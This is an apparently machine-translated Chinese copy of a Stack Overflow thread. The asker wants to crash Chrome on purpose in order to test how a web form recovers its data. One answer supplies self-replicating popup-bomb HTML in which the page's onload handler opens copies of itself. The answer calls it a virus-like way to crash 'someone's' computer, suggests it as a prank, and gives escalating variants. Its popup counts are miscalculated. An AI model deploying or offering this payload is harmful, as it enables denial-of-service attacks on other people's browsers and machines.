如何破解Chrome浏览器?

Zac*_*105 5 javascript crash google-chrome

出于测试目的,我需要一种快速简便的方法来崩溃我的标签/浏览器.我正在对我的网站进行压力测试,这些网站对谷歌浏览器来说非常宝贵.

  • 铬://崩溃
  • 铬://杀死
  • 铬://挂
  • 铬://退出
  • 铬://重启
  • 这些网站可以在chrome://about.另一个站点(未列出的chrome://aboutchrome://inducebrowsercrashforrealz-它将会崩溃顶级工艺为Chrome,包括在所有浏览器窗口的所有标签和所有打开的应用程序).最初,我试图查看在发生崩溃时保留了哪些数据.例如,textarea我们的表单在重新启动时仍然填写.

    但是,只有在手动将URL输入浏览器时,这些URL才有用.使用这个问题(以及许多其他我没有链接),我确认了我怀疑 - 你不能

    • 重定向到chrome://页面
    • 链接到chrome://页面
    • 以任何其他方式从chrome://页面请求信息(即iframe)

    从网页链接到chrome:// url

    这带来了一个问题 - chrome://inducebrowsercrashforrealz当用户到达表单的特定部分时,我想让浏览器崩溃().是否有任何脚本可能导致浏览器崩溃?

    我已经尝试过while循环,但即使它们是指数级的,它们也需要一段时间来杀死页面,并且永远不会影响浏览器.我希望崩溃要么是即时的,要么占用足够的内存让浏览器冻结.

    See*_*oad 5

    警告这会使任何浏览器或使用 PopUps 攻击的计算机崩溃

    如果你想让某人的计算机或浏览器崩溃

    使浏览器或计算机崩溃的弹出代码

    <script type="text/javascript"> 
    function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
    </script> 
    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    
    Run Code Online (Sandbox Code Playgroud)

    如果你真的想让他们的浏览器严重挂断,你使用这个弹出窗口,它会继续上传 2 个,每个弹出窗口还有 2 个弹出页面,这意味着第二次 2x2 弹出窗口 4 个弹出窗口,然后是 8、16、32、64 等等在弹出窗口上。它就像是一种病毒,它会在浏览器中传播弹出窗口,用弹出窗口填充屏幕,直到计算机或浏览器崩溃并挂断并关闭,只是...

    注意:你不是从我这里听到的,好吧……哈哈……我只建议这是对朋友的盗版笑话,而不是在线网页。

    如果你想让它更快地崩溃,那么只需JavaScript:CrashAndBurn(self.location,'_blank');像这个例子 x4 一样向 onload body添加更多内容:

    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    
    Run Code Online (Sandbox Code Playgroud)

    它将为每个弹出窗口加载 4 个弹出窗口,在 4 个弹出窗口之后,它将加载 4x4 意味着 18 个弹出窗口,然后是 18x4,即 72,然后是 72x4,即 288 个弹出窗口,然后是 288x4,即 1152 个弹出窗口,仅在几秒钟内的 4 轮弹出窗口中.

    如果你想变得非常可怕,那么使用 x10 示例:

    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    
    Run Code Online (Sandbox Code Playgroud)

    并且您有 8 个弹出窗口,其中 10 个是 10x10=100 个弹出窗口,然后是 1000 个,然后是 1 000 000 个弹出窗口,并且保证快速崩溃。

    编辑您可以使用 while 循环而不是复制粘贴 10 次。会短很多。


    Dav*_*vid 1

    for(var i = 0; i === i; i++) {}
    
    Run Code Online (Sandbox Code Playgroud)

    应该会崩溃你当前的窗口

    • 这会导致 Javascript 解释器挂起,但不会使窗口“崩溃”。 (3认同)
    • 我想,一切都会变得不负责任。 (3认同)